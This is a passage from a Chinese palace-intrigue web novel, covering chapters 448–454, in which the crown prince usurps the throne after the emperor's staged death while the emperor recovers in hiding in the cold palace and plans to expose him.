一提到赵书宁,萧婉贞的眼底就浮起一抹恨意。 那个贱人,自己定要将她大卸八块。 萧宝珠循循善诱,“赵书宁生前是被关在刑部大牢,若我没记错的话,刑部尚书秦大人以前是六皇兄的人,他在这件事上是否无辜?四皇姐你到底是六皇兄的亲姐姐,知晓六皇兄生前的人脉,要调查秦中举,至少比我要容易几分。” 萧婉贞陷入了沉思。 萧宝珠又道:“四皇姐,我自身难保,能帮你的有限,你能靠的就只有你自己。我能提点的,也只有这么多了。” 萧婉贞心中升起一股子悲凉。 她们本是养尊处优的公主,不曾想,有朝一日,竟要为挣一条活路殚精竭虑。 萧婉贞更想不到,这种关头,自己竟然只能找萧宝珠这个曾经不对付的妹妹商议对策。 萧婉贞看着萧宝珠,“日后,若七皇弟登基,我是否也会受到清算?” 萧宝珠语气笃定,“不会,七皇兄不是那样的人,这一点我可以向你保证。” “若我无用,没有查出赵书宁出逃的罪证,没有立下寸功呢?” 萧宝珠神色笃定,“不管你有没有立下功劳,七皇兄都不会对自己的亲姐妹下手。我也会护着你。” 萧婉贞的眸光浮动,眼底生出一股异样的情绪。 “你为何要帮我?” “因为我们是亲姐妹。” 萧婉贞心中触动更甚,“可是我以前对你……并不好。” 不仅不好,还暗中使过绊子。 当初,萧婉贞想负责锦绣坊之事,但却被德丰帝驳了,反而把此事交给了萧宝珠。 她因此怀恨在心,便暗中派人在锦绣坊中动手脚,想要搞垮锦绣坊。 只是锦绣坊的人十分警惕,她的人接连动手都失败了,之后再没有找到机会。 萧宝珠笑了笑,“任何人家,兄弟姊妹间有磕碰,都是寻常事,更何况是皇家?我与四皇姐虽不亲近,但也没有深仇大恨。以往的事,过了便过了,没必要计较太多。” 或许同为女人,萧宝珠对萧婉贞这个姐姐会更有共情。 她们都是公主,现在的生活仰仗的也是父皇的爱护,若父皇驾崩了,她们就再没了可以肆意张扬的资本。 她与其和萧婉贞计较过往的旧账,还不如两人握手言和,一致对外。 第449章 滇南的好消息传回来了 萧婉贞心中情绪翻涌,半晌,她终于做出了决定。 “好,我会想法子调查赵书宁出逃之事,其他有需要帮忙之处,也只管开口,我能做的,一定全力以赴。只盼日后……你能在新君面前为我美言几句。” 萧宝珠毫不犹豫地点头应下。 姐妹二人又商议了一番,萧宝珠提醒萧婉贞,这段时间要开始装病,让卢子阳以为她中了毒,如此就能避免对方下一次出手。 萧婉贞本也是这么打算的。 眼下她还不能动卢子阳,待日后,她腾出手来,定要亲手弑夫,来个大义灭亲。 萧婉贞离开了公主府,陆知苒这才从后面走了出来。 方才二人的谈话,她都尽收耳中。 太子的心狠手辣,让萧婉贞彻底倒向了她们,也不失为一个收获。 “苒姐姐,你说四皇姐真的能查到赵书宁出逃的罪证吗?” 陆知苒对此不抱希望,“太子做事滴水不漏,如此要紧之事,他不可能留下把柄。” 萧宝珠顿时不解,“那你为什么还教我这般说?” 陆知苒笑了笑,“四公主办不成这件事,定会想法子从其他方面弥补,想要尽己所能立一些功。” 萧婉贞到底是公主,此前萧晏清为了夺嫡,耗费了不知多少人力物力,眼下哪怕他死了,一些资源或许还在。 她们把萧婉贞拉拢过来,或许她能为她们提供一点其他帮助。 若当真如此,那便是意外之喜。 若是不成,也是情理之中。 终归,帮了萧婉贞一把,也是顺手之事。 陆知苒转而问起了德丰帝的病情,萧宝珠这才压低了声音。 “我把阿笙留在了宫里,她现在每日都会给父皇施针,若是顺利的话,再过几日,就能把父皇体内的蛊虫逼出来,到时候父皇就能好起来了。” 这个消息无疑是令人振奋的。 陆知苒的眉心也舒展开了。 前几日,萧宝珠悄悄将蒋南笙带进宫中,她给德丰帝诊脉之后就给出了答案,德丰帝此前的种种异常表现,全是因为中了蛊毒。 此蛊名为牵丝蛊,中蛊者会像牵线木偶一般任人摆布。 此蛊十分霸道,但万幸的是,德丰帝种的这一株蛊虫或许尚未养成熟,毒性稍弱,德丰帝的神志时而清醒,时而糊涂。 他中毒的时间也不算长,这才让蒋南笙有了可以发挥的机会。 若时间再长一点,那株蛊毒的毒性再强一些,便是华佗在世,也无能为力了。 蒋南笙也不敢把话说死,但无疑给了萧宝珠莫大的信心和希望。 陆知苒又问起了柔贵妃,萧宝珠宽慰道:“苒姐姐放心,柔贵妃很好,没有任何问题。我每日入宫,敲打那些奴才们,他们也不敢再苛待柔贵妃的吃食。” 除了吃住的条件差些,柔贵妃的确一切如常。 太子想要柔贵妃这个人质,自然不能让她出事,是以宫人也顶多送的饭菜差一些,其他磋磨的手段是不敢使的。 萧宝珠去了之后,她对宫人们发了一通火,他们就老实多了,吃食上也不敢亏待,取暖的炭火也都送来了。 柔贵妃也很能扛事。 她没有哭哭啼啼,即便心中有郁结,也不曾倒下。 她坚信,好好地活着才有希望。 陆知苒听了萧宝珠的这番话,心头担忧也放下了大半。 “按时间推断,林铮的那只海东青也应当回来了。” 她们都很想知道滇南府那头的情况如何了。 萧宝珠刚这般念叨,翌日,林铮就送来了好消息。 滇南府灭了南越国,大胜! 信中还提到了孙牧之增援之事。 萧宝珠拿着这封信,高兴地哭了出来。 “苒姐姐,你看到了吗?滇南府没有谋逆之心,他们把南越国给灭了!七皇兄也没事,孙牧之也好好的!他们不日就要启程返京了!” 陆知苒的心也猛地狂跳了起来,旋即一股强烈的欣喜将胸腔填满。 她的眼睛也被泪水模糊。 这段时间以来的担惊受怕,在这一刻,终于落到了实处。 “太好了,太好了。” 她丧失了语言能力,只能一遍遍不停重复着这话。 最后,两人抱在一起狠狠哭了一场。 萧宝珠擦干眼泪,迫不及待地道:“我现在就要把这封信拿给父皇看,父皇看到了,定然不会再怀疑七皇兄,也不会再怀疑滇南王。” 陆知苒被喜悦冲昏的头脑慢慢恢复了些许理智。 “等等。” 不知想到了什么,她的脸色突然变了,再无方才的喜悦。 萧宝珠疑惑,“苒姐姐,你怎么了?难道这信有什么问题?” 陆知苒摇头,“这信没有问题。” 这是萧晏辞的亲笔信,后面还盖着他的私章。 “这个消息对我们来说是好消息,但对于太子来说,却是天大的坏消息!他定然不会眼睁睁地看着殿下凯旋。” 萧宝珠的脑子也一下清醒了过来。 陆知苒神色严肃,“太子知晓这个消息,定会一不做二不休,对皇上下手,然后迅速登基。” 他登基了,大局已定,萧晏辞便是率领大军凯旋,也不能做什么,不然就真的是谋逆犯上了。 “而且,他也不会让殿下安然无恙地回来。” 萧晏辞死了,收复南越国的功劳,就全都不值一提,他将不再有后顾之忧。 萧宝珠也想明白了这些。 那支凯旋的大军中,不仅有七皇兄,还有孙牧之。 凭八皇兄这心狠手辣的秉性,他定会斩草除根,不留后患。 她的脸色顿时变得惨白,手脚也变得一片冰冷。 她脑子不够聪明,此时已然乱了方寸。 “苒姐姐,我,我们现在该怎么办?” 陆知苒看着萧宝珠,“宝珠,你听好了,你必须要保证皇上的安全!皇上不能出事。” 德丰帝一死,他们要扳倒萧晏临,只怕真的要担上一个谋逆的罪名了。 萧宝珠连连点头,“父皇现在在……他很安全,绝不会出事。” “也要保证母妃的安全。” 萧宝珠再次连连点头,“你放心,便是你不说,我也不会让她出事的。除了这些,我,我还能做什么?” 陆知苒一时没说话,她在屋中来回踱步,脑子飞速地转着。 这是一场你死我活的较量,不能有半点差池,不然,他们所有人都将万劫不复。 第450章 萧晏临狗急跳墙 海东青传递消息迅速,萧宝珠和陆知苒才能第一时间收到滇南的消息。 陆知苒又亲笔写了一封信,将京中的局势尽数告知,提醒他们回程路上定要万事小心。 消息送出去,她们的心却没能安定下来,反而比之前绷得更紧了。 时间进入到十二月,天气一天天冷了。 封地的诸皇子得知德丰帝病重,纷纷上表慰问,并请求回京,代理朝政的太子一一批复,允了。 父皇撑不了多久,待他们回来,刚好可以参加父皇的葬礼,顺便还能参加自己的登基大典。 想到他的那些哥哥们都跪在自己面前,萧晏临的脸上便浮起一抹快意的笑。 权利的滋味,当真令人着迷。 然而,没过多久,萧晏临的好心情就荡然无存了。 他收到了心腹从滇南送回来的消息,滇南军攻下了南越国,将之纳入大齐版图,以此作为自证清白的铁证。 孙牧之不知何时竟奉了父皇之命前往滇南,正是他的大军及时赶到,里应外合,才让滇南军顺利攻下南越国。 便是那周卫海,竟也被萧晏辞三言两语劝得倒戈了。 萧晏临脸色顿时变得无比难看,拳头也瞬间握得咯咯作响。 可恶! 明明是万无一失的计划,竟然让萧晏辞翻身了。 自己真是小瞧他了! 南越国真是废物,竟这么轻而易举地被灭了。 萧晏临召集幕僚,商议此事。 众幕僚的神情也笼上阴霾,萧晏临阴沉着脸,“诸位以为此事当如何应对?” 众人一阵交头接耳,纷纷议论。 有人开口,“瑾王和滇南府早有谋逆之心,这个消息多半是假的,为的不过是有正当的理由挥兵入京,太子应立马派兵围剿,永绝后患。” 其余人亦纷纷附和。 眼下这个消息还没有传入京中,那他们就可以先下手为强,主导舆论。 不管滇南军攻下南越国是真是假,眼下话语权掌握在他们的手里,他们就能说是假的。 萧晏临神色稍缓。 显然,这个主意说到了他的心坎上。 滇南和大齐相距甚远,消息传递不便,他眼下一手执掌朝事,要压下滇南府灭了南越国,取得大胜的消息,轻而易举。 萧晏辞决不能活着回来。 赵家与南越国多有往来,他也不能让南越国的人乱说话。 “诸位,可还有其他要说的?” 另一个幕僚神色迟疑着道:“属下以为,太子殿下应当及早登基。” 这话让众人心头一跳。 皇上尚且安在,太子如何登基?这话简直大逆不道。 方才也有人想到了这一茬,只不过没有说出口罢了,唯恐落个大胆妄言的罪名。 但萧晏临听了这话,非但没有怒意,脸上反而露出一抹淡淡笑意。 有那机灵的人见了,立马明白了太子的态度,当即带头附和,高声道:“殿下乃众望所归的真龙天子,迟早都要登基,自然宜早不宜迟!” 萧晏临眼底笑意更浓,“诸君所言极是,父皇眼下的身体,怕是也撑不了多久了,孤的确该做好登基的准备。” 原本还打算让他多活一段时间,等到他的那些哥哥们回来之后,他再准备登基,但现在,局势不由人,他等不了了,父皇也不能怪他手下不留情。 要怪,就怪萧晏辞命太硬。 若他干干脆脆地死在滇南府,自己又何须如此? 待自己登上了皇位,萧晏辞便是回来了,也无力回天。 他若当真敢做些什么,那就是真的谋逆,他日史书上,也定要记他一笔。 为免事情生变,萧晏临立马命人伪造了周卫海的奏折,称朝廷援军遭到滇南军突袭,伤亡惨重,双方兵戎相见,滇南王和瑾王公然谋反。 翌日,这封奏折便加急呈到了龙案前,萧晏临看了奏折的内容,顿时大怒。 他立马召集众臣,商议此事。 最后决定,派三万精兵前往滇南府平乱,一应叛贼,格杀勿论。 这则消息很快在百姓中传开,再次引起轩然大波。 百姓们对于谁当皇帝都没有意见,他们只希望天下再无战事。 一场战事,苦的是百姓。 萧宝珠将这个消息带回了公主府,她的脸上满是气愤。 “我们猜的果然没有错,他这是狗急跳墙了,想把七皇兄除掉。” 陆知苒的心头不安极了。 不知道萧晏辞是否收到了她们送去的信?他们又是否有了应对? 滇南军刚刚经历了和南越国的一场恶战,只怕无力承受朝廷的三万精兵的袭击。 即便满腹担忧,但她们鞭长莫及,唯有把眼前她们能做之事做好。 陆知苒道:“下一步,太子定然就会对皇上下手。皇上驾崩,他就会以国不可一日无君为由,立马登基。” 萧宝珠的面容瞬间绷紧。 “他就算登基了,也坐不稳皇位!七皇兄定会打回来,将他真正的嘴脸揭穿!” 她们的预测果然没错。 十二月初三这一日,萧宝珠入宫探望德丰帝,就看到太医院的太医齐齐出动,大家都围在龙榻前,神情惶恐,战战兢兢。 萧宝珠面色大变,急忙上前询问是怎么回事。 萧晏临面容紧绷,眼底含着一抹悲痛。 “父皇病情突然恶化,只怕……” 萧宝珠身子趔趄,脸色瞬间惨白。 “不可能,昨日明明还好好的!你们都是吃干饭的吗?快给父皇施针啊!朝廷养着你们有什么用?” 萧宝珠失控大吼,将太医院的太医们骂了个狗血喷头。 骂到最后,她更是扑在床边,失声痛哭起来。 她一直守在床边,寸步不离。 萧晏临也放下了公务,守在龙床前。 一直熬了两个多时辰,德丰帝的手忽然无力地往下垂。 太医急忙上前诊脉,旋即跪在地上,发出一声悲痛的哭嚎。 “皇上,驾崩了!” 这一声哭嚎起,殿内的其余人也立马跪下,齐齐发出痛哭声。 萧晏临亦跪在龙床前,满脸悲痛。 萧宝珠反倒呆呆愣愣的,半晌都没有反应。 她似无法接受这个事实,一直摇头,嘴里喃喃说着:“不可能,父皇没有死,父皇还没有睁开眼睛看我一眼,怎么可能死?这一切都是假的!” 萧晏临沉痛地道:“宝珠,我知道你接受不了,但事实如此,你还是让父皇安心地走吧。” 第451章 新帝登基 丧钟自皇城荡出,九响而止。 街坊间的人先是一怔,继而面面相觑。 卖炊饼的商贩停了担子,侧耳细听;茶肆里说书先生合了折扇,满座寂然。 不知是谁带的头,众人跪伏在地,以额触土,高声痛哭起来。 皇上驾崩了。 这个消息以最快的速度传遍了大街小巷。 城隍庙前的老槐树下,三五个孩童追逐嬉闹,全然不察钟声何意。忽被各自娘亲扯住,强按着跪了一地。 老百姓们心中戚戚惶惶。 有人担心自家尚未婚嫁的儿女,要白白被耽搁三年。 有人担心新君登基,政令波动,是否会影响自家的生计。 还有人想到了“谋逆”的瑾王,是否会继续生事,带来无休止的战事。 每个人都想着自己的担忧,哭起来也就越发卖力。 宫中,萧宝珠哭得上气不接下气,紧紧抱着德丰帝不让宫人为他更衣,最后还是被秦嬷嬷半哄半劝,才终于拉开了。 萧婉贞“带病”入宫,也狠狠地哭了一场。 她哭得真心实意,几乎背过气去。 父皇怎么就驾崩了呢?父皇驾崩了,太子登基,她们先前的筹谋和安排,又还有什么用? 待太子坐稳皇位,腾出手来,岂会放过自己? 萧婉贞心乱如麻,原本是装的病,眼下倒像是真的要病倒了。 帝崩,丧仪繁复,非旦夕可成。 然国不可无主,朝政亦不可久悬。 群臣悲恸之际,奏请太子先行登基,待大典毕,再行安葬德丰帝。 且诸藩王正星夜兼程返京,亦可令诸皇子尽孝送终。 此番提议引来了一番争议,有人赞同,有人反对,认为皇上驾崩,应当尽早入土为安,余事皆可后议。 双方争执未决,最后钦天监占卜得吉日——腊月二十宜下葬,距今尚有半月有余,如此,反对之声方渐弱。 帝王葬期关乎国运,若因异议而生变故,无人可担此责。 幸而天气寒冷,德丰帝的尸身可暂存无虞。 萧晏临因德丰帝的驾崩满心悲痛,原本就清瘦的少年人,身板越发单薄,面容也消瘦许多。 然社稷为重,他在群臣劝进下,强抑悲恸,敕钦天监另择吉日,以备登基大典。 腊月初十,钦天监卜得登基大典之上吉。 时距大典仅七日之期,礼部、内务府诸衙署昼夜赶办,众官忙得席不暇暖。终在限期之内,将一应典制筹备周全,未有疏漏。 腊月初十,天光未晓,太和殿前已列满仪仗。 朱红御道铺就,金甲侍卫肃立两侧,百官着朝服垂首恭候。 钟鼓齐鸣,新帝着十二章衮冕,踏着丹陛石阶缓缓而上。 礼官高唱仪程,群臣三跪九叩,山呼万岁。香炉中青烟升腾,缭绕于殿宇之间。 新帝接过传国玉玺,转身面南而立,冕旒微晃,遮住了神情。 殿外寒风凛冽,檐角铜铃轻颤。老臣们伏地时腰骨作响,却无人敢动。 待礼毕,新帝抬手示意,众臣才缓缓起身。 远处传来悠长的号角声,宣告新朝伊始。 新帝封号文昭,突显文治教化之意。 文昭帝萧晏临居高临下地俯视众臣,眸底闪着一抹熠熠生辉的光芒。 因时间匆忙,龙袍来不及量身定制,他穿在身上,略显臃肿厚重,方才一场仪式流程冗长,十分耗费心神,萧晏临却半分不觉疲累,反而神采奕奕,容光焕发。 从此以后,他便是大齐的天。 萧晏辞那等宵小之辈,再敢来犯,便是乱臣贼子。 新帝登基,生母赵昭仪得封太后,德妃、淑妃、贤妃和惠嫔等老妃子也都封了太妃。 唯有柔贵妃,依旧被关在冷宫中,无人问津。 原本身份卑微的渔家女,坐上了高高在上的位置,成了全天下女人的典范,赵太后自己都有些恍惚,不敢相信。 本是一件大喜事,但因正处皇上丧期,赵太后也只能把脸上的笑意压下,喜庆的太后宫装也只能暂时压了箱底。 她一边抚着那鲜亮的宫装,一边宽慰自己,“日后,我的好日子还长着,不必急于一时。” 待过了头三个月,她再让皇儿给赵家封爵,另外,也要给赵书宁正名,让世人都知晓,她是自己的亲侄女。 只可惜,她的脸毁了。 赵太后转念一想,脸毁了不要紧,到时候让皇上给她指一门亲事。 有皇上指婚,谁敢嫌弃她? 再生下赵家的孩子,赵家的血脉就有了延续和传承。 越想,赵太后脸上的笑意就越浓。 她的高兴无人可以炫耀,实在憋得慌。 她想到了一人,立马起身,“去冷宫看看。” 这么一个大好的消息,她自然要亲口告诉柔贵妃。 此时,冷宫中一片冷清。 柔贵妃身边除了锦瑟,就只有两个宫女伺候,以往不需要自己动手的事,如今她都需要亲力亲为。 赵太后到时,柔贵妃和锦瑟几人正在后院的那口井中打水。 这是力气活,她们几人的手上都被磨出一道道红痕,看上去分外触目惊心。 皇上驾崩,萧宝珠已经好几日没到冷宫来,看守的宫人又开始怠慢,她们无水可用,只能自己想办法。 赵太后的到来吓了她们一跳,原本好不容易拉上来的水桶一下又掉回了井中,溅起水花。 “哟,我的好妹妹,这等粗活怎能让你亲自动手?瞧瞧你这双手,都冻红了。” 柔贵妃面无表情地屈膝行礼,“嫔妾见过太后。” 赵太后听她这声“太后”,只觉身心愉悦,先前十几年被压一头的恶气在这一刻都散了大半。 她居高临下地看着柔贵妃,久久没有叫起。 “现在,哀家有资格喊你一声妹妹了吧?” 她这是还在记恨上次柔贵妃嘲讽她位分低,没有资格唤她妹妹之事。 赵太后的心腹沈嬷嬷从旁接话,“太后,您现在贵为太后,而她只是个冷宫中的弃妃,您喊她一声妹妹,岂不是抬举她了?” 赵太后似被提醒,掩唇一笑。 “你提醒得对,是哀家想岔了。” 她们主仆毫不客气地出言嘲讽,柔贵妃只低着头,安安静静跪着,叫人看不到面上神色。 第452章 假死 赵太后目光落在柔贵妃身上单薄又陈旧的衣裳上,眼底的笑意更浓。 “柔贵妃,你以前定想不到,自己有朝一日,会落得如此境地吧?啧,真是惨啊。你那好儿子公然谋反,皇上已经又派了三万精兵前去平定叛军,相信过不了多久,你们母子就能团聚了。” 顿了顿,她又掩唇,笑着补充一句,“在阎罗殿团聚。” 柔贵妃依旧低着头不说话,赵太后说了半天却没人接茬儿,脸上笑意也淡了下去。 “叶柔徽,你如果现在开口向我求饶,我到时候或许能让皇上高抬贵手,饶你一命。” 柔贵妃终于开了口,“成王败寇,若当真到了那一日,无需你们动手,我自己便会自我了断。” 赵太后没有得到自己想象中的答案,眼神顿时冷了下来,“你这张嘴,可真是够硬的。” 沈嬷嬷立马献殷勤,“奴婢愿为太后分忧,看看她的嘴究竟有多硬!” 赵太后没说话,俨然是默许的姿态。 沈嬷嬷便上前,抡起手就要打柔贵妃耳光。 锦瑟立马护在柔贵妃的身前,“大胆,你一个奴婢,也敢对贵妃动手?” “我可是太后跟前的人!她算什么贵妃,不过是个冷宫里的弃妇罢了。” 说话间,沈嬷嬷就要上前拉扯锦瑟。 就在这时,一道凌厉的声音传来。 “住手!” 萧宝珠大步流星而来,她一身孝服,头上也未戴半个珠钗,此时,苍白消瘦的脸上一派冷然。 沈嬷嬷见到萧宝珠,立马不敢造次,看向自家太后。 赵太后脸上那副看好戏的表情也顿时收敛。 萧宝珠目光冷冷看向赵太后,“你贵为太后,当为六宫典范,却纵容手底下的阿猫阿狗欺辱先皇太妃,就不怕史书上留下一笔?” 她一张口就是这么一个大帽子,赵太后的脸色顿时就挂不住了。 “柔贵妃不敬哀家,哀家也只是小惩大诫罢了。” 柔贵妃面露苦笑,“是嫔妾不敬太后,还是太后有意刁难?” 锦瑟立马附和,口齿伶俐地将方才双方的对话复述了一番。 萧宝珠面沉如水,“太后,七皇兄罪责如何,理应由皇上定夺,柔贵妃的生死,也由不得你私设公堂,太后还是先好好学一学这后宫的规矩吧,免得日后徒惹笑话。” 赵太后被挤兑得面色难看,一股怒意直冲脑顶。 “九公主!你敢对哀家如此不敬!你眼里还有没有哀家这个太后?” “我不过是说了几句实话罢了,你莫不是也要让那贱婢打我?” 赵太后气血翻涌,的确想让人教训教训她。 但紧接着,就听萧宝珠道:“父皇尸骨未寒,我这个公主就为新帝和太后所不容,此事传出去,新帝颜面何存?” 这话瞬间让赵太后一个激灵,反应过来。 方才那股子不管不顾的怒意瞬间被压了下去。 并非不生气,而是多了忌惮。 赵太后面皮抖动,脸色几番变化,最终,不得不将那口气硬生生咽了回去。 “公主说笑了,哀家岂会对你动手?今日之事,也只是个误会罢了。哀家还有诸多事务要料理,就不多留了。” 说完,也不等萧宝珠是何反应,领着人走了,颇有种灰头土脸,落荒而逃的架势。 一路上,赵太后的脸色都十分阴沉,黑得如同锅底一般。 回到慈宁宫,赵太后就摔了一套茶具,更是在宫中破口大骂。 “那小贱人,真以为自己还是有人娇宠的公主?现在大齐的皇上是哀家的儿子,可没人会惯着她!” “且等着瞧吧,待皇儿稳住了朝局,哀家第一个拿她开刀!” 冷宫这边,柔贵妃拉住萧宝珠的手,语气有些担忧。 “宝珠,你不该为了我下她的脸面,她锱铢必较,日后只怕会寻你麻烦。” 萧宝珠半点不在乎。 “我就看不惯她那副小人得志的嘴脸!放心,她定蹦跶不了多久。” 二人互相交换一记眼神,眼底藏着只有她们才懂的别有意味。 “进屋说话。” 柔贵妃带着萧宝珠左拐右拐,很快到了一处野草横生的宫殿外,这里显然荒废了很久。 柔贵妃并不住在这里,二人却悄悄进了那处荒废的宫殿,又把门牢牢关上,锦瑟则守在门外。 这表面荒废的宫殿,里面却早已经被打扫干净,算不上纤尘不染,但住人是完全没问题的。 里间也的的确确住着人。 柔贵妃和萧宝珠熟门熟路地入内,一人半倚在床上,面上虽带病容,但眼神清明,精神看上去不错。 若赵太后见到此人,定要吓得惊呼出声。 这人分明是已经“驾崩”的德丰帝! 没人知晓,养心殿那个重病的德丰帝,早已经被龙鳞卫李代桃僵,换成了替身。 为帝者,都会暗中养着替身,以备不时之需。 上次,德丰帝的神志短暂地恢复清醒,他从冯有才的口中得知自己那段时间恍若提线木偶一般的表现,对自己的病也生出了怀疑。 他趁着自己清醒之时,传召了龙鳞卫,启用了替身。 龙鳞卫没法将他送出宫,只能在后宫之中暂寻一处安身之地。 冷宫便是最佳的选择。 第二日,萧宝珠入宫,向冯有才寻求帮助,表示自己想请人给德丰帝诊治,希望冯有才能帮忙掩护。 冯有才一再推脱,反倒言语暗示她到冷宫看看柔贵妃。 萧宝珠当时还不解其意,出于对柔贵妃的担心,她这才走了那一趟。 没曾想,她在冷宫中见到了父皇。 她出面为柔贵妃请御医,之后接连好几日都到冷宫来,明着是关心柔贵妃的安危,实则是为了德丰帝。 她将蒋南笙送入宫中,为德丰帝诊治,众人这才知晓真相,也终于看到了一线希望。 萧宝珠快步上前,眼含殷切地看着德丰帝。 “父皇!您好些了吗?” 德丰帝满是皱纹的脸上露出一抹笑,“这段时日南笙日日为朕施针,朕已经好多了。” 此时,蒋南笙俨然一身太监装扮,安静地落在一侧。 萧宝珠已经有好几天没来了,方才乍见,她便觉得父皇神色清明,精神头也好了许多。 第453章 认清了忠奸 她求证般地看向蒋南笙,后者脸上也露出了一抹宽慰。 “就在昨日,我已经将皇上体内的蛊虫逼出来了,接下来只需慢慢调养即可。” 蒋南笙的话只说了一半。 德丰帝体内的蛊虫的确已经逼了出来,但德丰帝的身体已然亏损了,就算好好调养,也不能长寿。 他的寿命,最多不超过一年。 关于这一点,蒋南笙不敢欺瞒德丰帝,但德丰帝让她不要在萧宝珠面前提起,她便只报喜不报忧。 这话如同一记定心丸,让萧宝珠悬着的心彻底放了下去。 高兴之下,她的眼泪又不受控地流了下来。 “太好了,太好了,阿笙,多亏了你。” 德丰帝缓缓开口,“赵家的账册,朕已经看过了。” 当初,德丰帝被转移到冷宫,萧宝珠就把赵家的账册拿了出来,只是当时的德丰帝状态不好,昏昏沉沉,神志不清,根本没法阅看账册。 萧宝珠便将账册转交给蒋南笙保管,待德丰帝状态好转再上交。 此时,德丰帝面色沉沉,周身都笼着一股低沉的气压。 “一个小小赵家,竟敢如此胆大妄为,简直目无法纪,狗胆包天!” 萧宝珠火上浇油,“赵家早有扶持八皇兄上位的心思,才会如此毫无底线地疯狂敛财。八皇兄对此不可能一无所知。” 德丰帝的面色果然更沉了几分。 “咬人的狗不叫,朕此前当真是错看老八了。” 这个儿子素来性子文静,毫无存在感,谁能料到,他背地里竟是如此秉性? 不仅纵容外家搜刮民脂民膏,赚取黑心钱,甚至,连自己这个父皇,他都敢下手! 京城的蛊虫风波,也是赵家弄出来的。 他们简直罪不可恕! “父皇,赵书宁之事,你知道了吗?” 德丰帝神色一顿,“她?一个死人,还能掀起什么风浪?” 萧宝珠立马道:“她没死。父皇,您绝对想不到,八皇兄把她从牢里救出来了,她就是给您诊治的林芳!” 德丰帝勃然变色。 “这,怎么可能?老八岂会为了一个死刑犯冒如此风险?” “父皇,您还不知道吧,她是赵虎的血脉。” 德丰帝愣怔片刻,才想起来赵虎是谁,他的脸色顿时黑成了锅底。 “真是岂有此理!” 赵家竟敢把手伸到刑部去,救下赵书宁这个死刑犯,还堂而皇之地把她推到人前,包装成了神医! 想到自己还曾出言夸赞过她的医术,德丰帝就怄得几乎吐血。 想到激动处,他胸口一阵发闷,呼吸也变得急促起来。 蒋南笙立马道:“皇上切莫激动,小心伤了身子。” 萧宝珠也立马上前给他拍背顺气,不敢再火上浇油了。 “父皇,为了那么个玩意儿伤了身子不值得,您还是以自己的身子为重。” 德丰帝深吸了几口气,这才将那股子怒意压下。 “朕没事,朕还没有亲自收拾那逆子,岂会让自己出事?” 有这股信念支撑着,他也能让自己撑下去。 他转而又问,“刚刚,赵昭仪来过?” 他的称呼是赵昭仪,而非赵太后。 他这个皇上还健在,哪里的太后? 就算他死了,也轮不到赵昭仪当这太后。 萧宝珠立马开始告状,将方才赵太后要动手打人之事道来,“若非我及时赶到,柔贵妃定要被那刁奴打了。” 萧宝珠愤愤不平,柔贵妃低垂着头,静默不语,俨然是受了委屈的姿态。 德丰帝的眼底顿时浮起心疼。 “爱妃,让你受委屈了。” 柔贵妃缓缓摇头,“只要皇上能相信我们母子别无二心,臣妾便是受再多的委屈也值了。” 德丰帝眼底浮出一丝愧疚,“此前,朕心中生了业障,被人一挑拨便犯了糊涂,是朕对不住你们母子。而今,朕经历此遭,终于认清了忠奸。你放心,只要朕还有一口气在,就定然会为滇南王,为你和阿辞正名。” 他已经看到了萧晏辞的那封信,滇南军灭了南越国,以表忠心,这让德丰帝心中受到巨大冲击与震撼。 大齐朝的国土,已经几十年没有往外扩张半寸。 没想到,自己在位之时,竟然还能扩充版图。 这份表忠的诚意分量十足,德丰帝岂会再有半分怀疑? 再想到赵氏和萧晏临的所作所为,他对滇南王的愧疚便愈发深了。 柔贵妃听了这番话,心中倏而涌起一股难言的酸楚,眼眶也瞬间发胀,两行清泪簌簌滚落。 没人知道,她这段时间内心究竟承受了多少痛苦煎熬。 而今,一切终于有了交代,柔贵妃心中的防线再也支撑不住,彻底崩塌了。 她这一哭,顿时把德丰帝的心给哭乱了,心中也越发愧疚。 连带着,萧宝珠也被勾起了眼泪,跟着哭了起来。 被人冤枉的滋味不好受,这段时间萧宝珠亦是日日跟着担惊受怕,更何况柔贵妃。 德丰帝心中自责,面上也露出慌乱无措来。 他身为帝王,可没有哄过人啊,尤其是女人。 最后还是蒋南笙开口将人劝住了。 柔贵妃哭了一场,心头郁积的情绪得以纾解,这才觉得心中舒畅了不少。 蒋南笙道:“好在我们已经识破了八皇子的真面目,如今敌明我暗,于我们而言大有裨益。” 萧宝珠瓮声瓮气地道:“八皇兄又派了三万精兵前往滇南平乱,我只怕七皇兄他们无法抵挡。” 这话让在场众人心头再次笼上阴霾。 德丰帝开口,“朕会派出龙鳞卫,带着朕的令牌和圣旨赶往前线,将那三万精兵拦下。” 蒋南笙:“若是这样的话,八皇子定然警觉,到时候您就藏不住了。” 德丰帝冷冷道:“朕岂会一直藏着?那逆子敢弑君弑父,朕就要当着天下人的面,揭穿他的真面目!” 他这个皇帝莫不是白当的?手里难道半点筹谋都没有? 那逆子以为自己登上了皇位,就安然无恙了,简直是痴人说梦。 萧宝珠离开了冷宫,柔贵妃和锦瑟也回到了前殿,冷宫重新恢复了平静,无人知晓这里面藏着的秘密。 但这平静没有维持多久,冷宫再次迎来了一位不速之客。 惠嫔——现在是惠太妃。 第454章 送葬变故 柔贵妃见到她,眼神都冷了三分。 “我不曾得罪过你,你为何要害我?” 这是柔贵妃唯一想亲口问的问题。 这些年,她在宫中从来不怕事,但也不会主动惹事。 她自认为自己与惠嫔没有半分过节,难道是因为安王? 听了柔贵妃这话,惠太妃的脸上顿时露出扭曲与狰狞。 “你不曾害我?你说这话难道半点不亏心?当年我的孩子是怎么没的,你难道心里没数?” 听到这番指责,柔贵妃的眉头蹙起,脑中也努力回想着过往旧事。 难道自己当真不小心害了她的孩子? 但她确信自己什么都没有做。 “我不曾害过你的孩子。” 惠太妃神情激动,“你还不承认,当初我怀上皇儿,胎相不好,你便假惺惺地给我送来了一株灵芝,说是产自滇南府的好东西,我吃完了那株灵芝,就见了血,之后孩子也没了!” 柔贵妃依旧蹙着眉,“那你又怎能断定是我送的灵芝有问题?” “我小产之后,我娘家人给我送了另外一株灵芝,我吃了之后才察觉到与你那株灵芝的不同之处,我仔细一想,自己平日里的吃食都格外小心,除了你那株灵芝,再无其他不妥,我心中因此起了疑。” “然后我想法子从你的身边人下手,终于找到了一个贱婢的把柄,从她的口中问出了真相,我本欲带着那贱婢到皇上跟前讨个公道,却让那贱婢跑了,我再派人寻她,就发现她死在了莲塘里!” “定是你发现事情败露,这才杀人灭了口,过后,你还派人给那贱婢家人送了一笔抚恤银子。人若非是你杀的,你怎会这般好心?” 柔贵妃的确记得这件事。 